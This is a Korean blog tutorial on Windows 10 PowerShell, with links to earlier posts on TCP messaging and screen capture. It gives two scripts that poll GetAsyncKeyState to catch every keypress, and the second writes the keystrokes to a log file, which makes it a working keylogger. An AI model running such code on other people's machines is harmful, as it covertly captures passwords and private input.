목차
- 윈도우 10 파워쉘에서 TCP 통신 메시지 전송 예제 이전 포스팅 참고 학습
- 윈도우 10 특정 키 입력시 현재 화면 캡쳐하여 파일로 저장 예제 이전 포스팅 참고 학습
- 윈도우 10 실시간 마우스 커서 위치 x, y 좌표 출력 예제 이전 포스팅 참고 학습
- 윈도우 10 모든 키보드 눌름 이벤트 수신 예제
- 윈도우 10 누른 키 정보 로그 파일에 저장 예제
윈도우 10 파워쉘에서 TCP 통신 메시지 전송 예제 이전 포스팅 참고 학습
파워쉘을 이용하여 TCP 클라이언트를 구성하여 서버와 통신할 수 있습니다. 네트워크 통신의 기본 원리를 이해하고, 파워쉘을 사용하여 다른 장치나 시스템과 데이터를 교환하는 방법을 익힐 수 있습니다.
이전 포스팅에서 더 자세한 예제와 코드를 확인할 수 있습니다.
2023.08.28 - [Window] - [Window] 윈도우 10 파워쉘에서 TCP 통신 메시지 전송 및 수신 예제(PowerShell)
[Window] 윈도우 10 파워쉘에서 TCP 통신 메시지 전송 및 수신 예제(PowerShell)
목차 윈도우 10 키보드 키 이벤트 발생 대기 스크립트 작성 예제 이전 포스팅 참고 학습 윈도우 10 실시간 마우스 커서 위치 x, y 좌표 출력 예제 이전 포스팅 참고 학습 윈도우 10 특정 키 입력시
salguworld.tistory.com
윈도우 10 특정 키 입력시 현재 화면 캡쳐하여 파일로 저장 예제 이전 포스팅 참고 학습
이전 포스팅에서 파워쉘을 통해 키보드의 특정 키 입력 시 현재 화면을 캡쳐하고 파일로 저장하는 예제를 알아보았습니다. 화면 캡쳐는 특정 작업 수행이나 화면의 특정 부분 저장에 유용합니다.
더 구체적인 내용과 예제 코드는 이전 포스팅에서 확인하실 수 있습니다.
2023.08.28 - [Window] - [Window] 윈도우 10 특정 키 누를시 화면 캡쳐 스크립트 작성 예제(PowerShell)
[Window] 윈도우 10 특정 키 누를시 화면 캡쳐 스크립트 작성 예제(PowerShell)
목차 윈도우 10 키보드 키 이벤트 발생 대기 스크립트 작성 예제 이전 포스팅 참고 학습 윈도우 10 실시간 마우스 커서 위치 x, y 좌표 출력 예제 이전 포스팅 참고 학습 윈도우 10 화면 캡쳐 스크립
salguworld.tistory.com
윈도우 10 실시간 마우스 커서 위치 x, y 좌표 출력 예제 이전 포스팅 참고 학습
윈도우 10의 파워쉘을 사용하여 현재 마우스 커서의 실시간 위치인 x, y 좌표를 출력하는 예제를 이전 포스팅에서 알아봤습니다. 이를 통해 마우스 커서의 위치에 따라 자동화된 스크립트를 작성할 수 있습니다.
더 자세한 내용과 예제는 이전 포스팅을 확인해주세요.
2023.08.25 - [Window] - [Window] 윈도우 10 실시간 마우스 위치 x, y좌표 출력 스크립트 예제(Powershell)
[Window] 윈도우 10 실시간 마우스 위치 x, y좌표 출력 스크립트 예제(Powershell)
목차 윈도우 10 특정 디렉토리 내의 특정 확장자 경로 출력 스크립트 예제 이전 포스팅 참고 학습 윈도우 10 특정 프로세스 강제 종료 스크립트 및 단축키 지정 예제 이전 포스팅 참고 학습 윈도
salguworld.tistory.com
윈도우 10 모든 키보드 눌름 이벤트 수신 예제
아래는 윈도우 10에서 모든 키보드 입력 이벤트를 감지하는 예제입니다. 모든 키를 눌렀을 때 해당 키에대한 아스키 문자열을 출력합니다. 다만 문자 검사 기능이 즉각 즉각 이루어지지않기때문에 타이핑 속도가 너무 빠르다면 일부 문자가 유실될 수 있습니다.
Add-Type -TypeDefinition @'
using System;
using System.Runtime.InteropServices;
public class GlobalKeyListener {
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(int vKey);
public static bool IsKeyPressed(int vKey) {
return (GetAsyncKeyState(vKey) & 0x8000) != 0;
}
}
'@
while ($true) {
for ($i = 0; $i -lt 256; $i++) {
if ([GlobalKeyListener]::IsKeyPressed($i)) {
$keyChar = [char]$i
Write-Host "Key Pressed: $keyChar (ASCII: $i)"
}
}
Start-Sleep -Milliseconds 70
}
윈도우 10 누른 키 정보 로그 파일에 저장 예제
아래는 윈도우 10에서 파워쉘을 활용하여 사용자가 누른 키 정보를 로그 파일에 저장하는 예제입니다. 특정 작업의 로깅이나 보안 목적으로 활용할 수 있습니다.
Add-Type -TypeDefinition @'
using System;
using System.Runtime.InteropServices;
public class GlobalKeyListener {
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(int vKey);
public static bool IsKeyPressed(int vKey) {
return (GetAsyncKeyState(vKey) & 0x8000) != 0;
}
}
'@
# 로그 파일 경로 설정
$logfile = "C:\Users\wonseok\Documents\test.txt"
# 입력된 문자열을 저장할 변수 초기화
$inputString = ""
while ($true) {
for ($i = 0; $i -lt 256; $i++) {
if ([GlobalKeyListener]::IsKeyPressed($i)) {
$keyChar = [char]$i
$inputString += $keyChar
# 30글자가 모이면 로그 파일에 추가
if ($inputString.Length -ge 30) {
Add-Content -Path $logfile -Value $inputString
$inputString = "" # 변수 초기화
}
}
}
Start-Sleep -Milliseconds 100
}